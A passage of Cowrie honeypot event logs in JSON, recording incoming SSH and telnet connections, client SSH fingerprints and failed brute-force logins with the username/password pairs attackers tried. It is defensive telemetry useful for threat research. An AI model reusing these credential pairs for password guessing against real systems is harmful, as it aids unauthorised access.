cm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:22.573445Z","src_ip":"103.218.242.31","session":"5d23d43c2add","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roy","password":"roy123!","message":"login attempt [roy/roy123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:23.474830Z","src_ip":"103.218.242.31","session":"5d23d43c2add","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:24.694152Z","src_ip":"103.218.242.31","session":"5d23d43c2add","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:25.373537Z","src_ip":"115.151.72.155","session":"e01ef2389d3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.183.250.100","src_port":57794,"dst_ip":"10.17.0.5","dst_port":22,"session":"215865a7fccc","protocol":"ssh","message":"New connection: 51.183.250.100:57794 (10.17.0.5:22) [session: 215865a7fccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:25.473262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:25.477101Z","src_ip":"51.183.250.100","session":"215865a7fccc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:25.564946Z","src_ip":"51.183.250.100","session":"215865a7fccc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"family","password":"12345","message":"login attempt [family/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:25.949821Z","src_ip":"51.183.250.100","session":"215865a7fccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:27.041640Z","src_ip":"51.183.250.100","session":"215865a7fccc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.2.212","src_port":42864,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6cec5c7e1b6","protocol":"ssh","message":"New connection: 103.78.2.212:42864 (10.17.0.5:22) [session: f6cec5c7e1b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:41.715949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:41.721415Z","src_ip":"103.78.2.212","session":"f6cec5c7e1b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:41.978350Z","src_ip":"103.78.2.212","session":"f6cec5c7e1b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tania","password":"tania@123456","message":"login attempt [tania/tania@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:43.039911Z","src_ip":"103.78.2.212","session":"f6cec5c7e1b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:44.299273Z","src_ip":"103.78.2.212","session":"f6cec5c7e1b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.240.75.51","src_port":52294,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad1bb2b8af0b","protocol":"ssh","message":"New connection: 35.240.75.51:52294 (10.17.0.5:22) [session: ad1bb2b8af0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:55.383375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:55.386260Z","src_ip":"35.240.75.51","session":"ad1bb2b8af0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:55.568003Z","src_ip":"35.240.75.51","session":"ad1bb2b8af0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jhlee","password":"password","message":"login attempt [jhlee/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:56.127900Z","src_ip":"35.240.75.51","session":"ad1bb2b8af0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:57.309486Z","src_ip":"35.240.75.51","session":"ad1bb2b8af0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.62.152.202","src_port":45711,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cbc32152a4a","protocol":"ssh","message":"New connection: 103.62.152.202:45711 (10.17.0.5:22) [session: 5cbc32152a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:57.724862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:57.729189Z","src_ip":"103.62.152.202","session":"5cbc32152a4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:57.996175Z","src_ip":"103.62.152.202","session":"5cbc32152a4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"httpd","password":"httpd123!","message":"login attempt [httpd/httpd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:49:59.098946Z","src_ip":"103.62.152.202","session":"5cbc32152a4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:00.369459Z","src_ip":"103.62.152.202","session":"5cbc32152a4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":36778,"dst_ip":"159.203.135.109","dst_port":22,"session":"12a6a81bc86c","protocol":"ssh","message":"New connection: 92.118.39.92:36778 (159.203.135.109:22) [session: 12a6a81bc86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:01.170816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:01.189684Z","src_ip":"92.118.39.92","session":"12a6a81bc86c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:01.273581Z","src_ip":"92.118.39.92","session":"12a6a81bc86c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:01.681935Z","src_ip":"92.118.39.92","session":"12a6a81bc86c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":9311,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c773104381c","protocol":"ssh","message":"New connection: 2.57.121.25:9311 (10.17.0.5:22) [session: 0c773104381c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:02.440508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:02.449546Z","src_ip":"2.57.121.25","session":"0c773104381c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:02.551579Z","src_ip":"2.57.121.25","session":"0c773104381c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:02.786957Z","src_ip":"92.118.39.92","session":"12a6a81bc86c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13041992","message":"login attempt [user/13041992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:03.022212Z","src_ip":"2.57.121.25","session":"0c773104381c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13021995","message":"login attempt [user/13021995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:04.124568Z","src_ip":"2.57.121.25","session":"0c773104381c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456789l","message":"login attempt [user/123456789l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:05.226533Z","src_ip":"2.57.121.25","session":"0c773104381c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456789123","message":"login attempt [user/123456789123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:06.328614Z","src_ip":"2.57.121.25","session":"0c773104381c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345612","message":"login attempt [user/12345612] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:07.430455Z","src_ip":"2.57.121.25","session":"0c773104381c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:08.531859Z","src_ip":"2.57.121.25","session":"0c773104381c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.154.233.209","src_port":33500,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd572f82e329","protocol":"telnet","message":"New connection: 43.154.233.209:33500 (159.203.135.109:23) [session: cd572f82e329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:21.734149Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.71.136.125","src_port":60162,"dst_ip":"10.17.0.5","dst_port":22,"session":"992faf9456fc","protocol":"ssh","message":"New connection: 116.71.136.125:60162 (10.17.0.5:22) [session: 992faf9456fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:28.895223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:28.899606Z","src_ip":"116.71.136.125","session":"992faf9456fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:29.117975Z","src_ip":"116.71.136.125","session":"992faf9456fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vboxuser","password":"Vboxuser123","message":"login attempt [vboxuser/Vboxuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:30.021357Z","src_ip":"116.71.136.125","session":"992faf9456fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:31.241731Z","src_ip":"116.71.136.125","session":"992faf9456fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.0.63.25","src_port":52722,"dst_ip":"10.17.0.5","dst_port":22,"session":"a974f1bc5b45","protocol":"ssh","message":"New connection: 218.0.63.25:52722 (10.17.0.5:22) [session: a974f1bc5b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:45.534998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:45.539138Z","src_ip":"218.0.63.25","session":"a974f1bc5b45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.3","src_port":53916,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf74816ec07b","protocol":"ssh","message":"New connection: 118.193.33.3:53916 (10.17.0.5:22) [session: bf74816ec07b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:46.139432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:50:46.144324Z","src_ip":"118.193.33.3","session":"bf74816ec07b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 